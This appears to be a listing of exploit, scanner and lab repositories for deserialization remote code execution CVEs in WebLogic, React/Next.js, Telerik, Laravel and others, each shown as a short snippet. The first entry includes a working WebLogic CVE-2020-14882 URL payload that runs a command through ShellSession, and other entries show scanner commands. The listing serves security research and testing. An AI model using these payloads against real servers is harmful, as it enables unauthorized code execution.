CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53', '700...

CVE-2025-55182

CVE-2025-55182 Scanner A proof-of-concept scanner for CVE-2025-55182 , a critical unauthenticated Remote Code Execution RCE vulnerability in React Server Components RSC. Overview On December 3, 2025, a critical vulnerability was disclosed affecting React 19.x and Next.js applications using React...

react2shell

React2Shell CLI tool + Nuclei templates for detecting two critical RCE vulnerabilities in React Server Components and Next.js Server Actions. The scanner was rewritten based on the disclosed react2shell vuln. Vulnerability Overview CVE-2025-55182 – React Server Components Deserialization RCE A fl...

CVE-2025-61882-Oracle-BI-Publisher-RCE

Affected Software: Oracle BI Publisher versions 12.2.1.4.0, 12.2.1.3.0. Vulnerability Type: Remote code execution via insecure deserialization in the BI Publisher integration component. Description: The BI Publisher integration component deserializes untrusted data without validation, allowing...

CVE-2026-84645

CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE SECURITY-3972 PoC for the Jenkins deserialization vulnerability fixed on 2026-09-02 advisory. A low-privileged account holding Item/Configure on any single job can turn that into arbitrary code execution as the Jenkins OS user. | ---|--...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it A proof-of-concept tool for demonstrating the critical React2Shell vulnerability CVE-2025-55182 / CVE-2025-66478 on authorized, local testing environments only. ⚠️ CRITICAL WARNING: ACTIVE EXPLOITATION LEGAL USE ONLY : Use exclusively against systems you...

CVE-2025-61505

CVE-2025-61505 – PHP Object Injection in e107 CMS 2.x Reported: September 18, 2025 CVE Assigned: October 9, 2025 Published: February 02, 2026 CVE ID: CVE-2025-61505 Discoverer: Anas Abderrahman Benbarek Summary A PHP Object Injection vulnerability CWE-502: Deserialization of Untrusted Data was...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

CVE-2018-15133-PoC

CVE-2018-15133-PoC This Python script implements a remote code execution RCE exploit for vulnerable Laravel applications through insecure deserialization, based on the CVE-2018-15133 vulnerability. The exploit takes advantage of a vulnerability in Laravel versions 5.5.40 and earlier, and 5.6.0 to...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC Deserialization RCE Scanner This tool checks whether a target is vulnerable to CVE‑2025‑55182 , a Remote Code Execution bug caused by unsafe handling of RSC React Server Components model payloads inside Next.js. The vulnerability chains Prototype Pollution →...

Exploit for Deserialization of Untrusted Data in Facebook React

CVE-2025-55182 — React Server Components RCE A Proof-of-Conce...

CVE-2025-53770

CVE-2025-53770 Research Lab This repository appears to be a proof-of-concept research project for validating a SharePoint-style deserialization and tool-pane processing issue in a controlled lab. It includes a Python driver, a mock vulnerable application, and container assets for isolated testing...

CVE-2020-9496

CVE-2020-9496 XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03 Install requirements $ pip install -r requirements.txt $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O...

Project-Vuln-Detection-N-Mitigation_101

Project-Vuln-Detection-N-Mitigation101 Apache ActiveMQ Deserialization RCE CVE-2023-46604 – Phase 2 Project Security Architectures & Systems Administration Author: Vaishnavu C V · Date: 17 Sep 2025 Status: ⌀ Phase 2 deliverables complete Overview This repository documents a hands‑on security desi...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability Technical Overview CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP...

CVE-2025-61765_PoC

Summary A remote code execution vulnerability in python-socketio versions prior to 5.14.0 allows attackers to execute arbitrary Python code through malicious pickle deserialization in multi-server deployments on which the attacker previously gained access to the message queue that the servers use...

CVE-2019-9081_PoC

CVE-2019-9081poc Poc for CVE-2019-9081, this CVE is just a new POP chain. The project is a pre-built vulnerable Laravel 5.7.x application with an entry point for POI vulnerability at URI /deserialize POST-request. Lab setup: Starting the vulnerable application: $ git clone...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study In-depth study of CVE-2019-18935 affecting Telerik UI for ASP.NET AJAX. Covers .NET deserialization vulnerability, RadAsyncUpload handler, gadget chains, mixed-mode assembly exploitation, and mitigation strategies...

CVE-2025-24813

CVE-2025-24813 Description This repo aims to provide clear instructions for rapid deployment of Tomcat v9.0.90 with java 25.0.1 2025-10-21 LTS on Windows Server 2019 Standard for Cyber Security threat emulation exercise. The exploit.py leverages on ysoserial-all.jar to create a payload using...

React2Shell-CVE-2025-55182-Testing-Environment

React2Shell CVE-2025-55182 Testing Environment A containerized testing environment for CVE-2025-55182, a critical 10.0 CVSS Remote Code Execution vulnerability in React Server Components. ⚠️ WARNING This environment is intentionally vulnerable and should ONLY be used for: Security research and...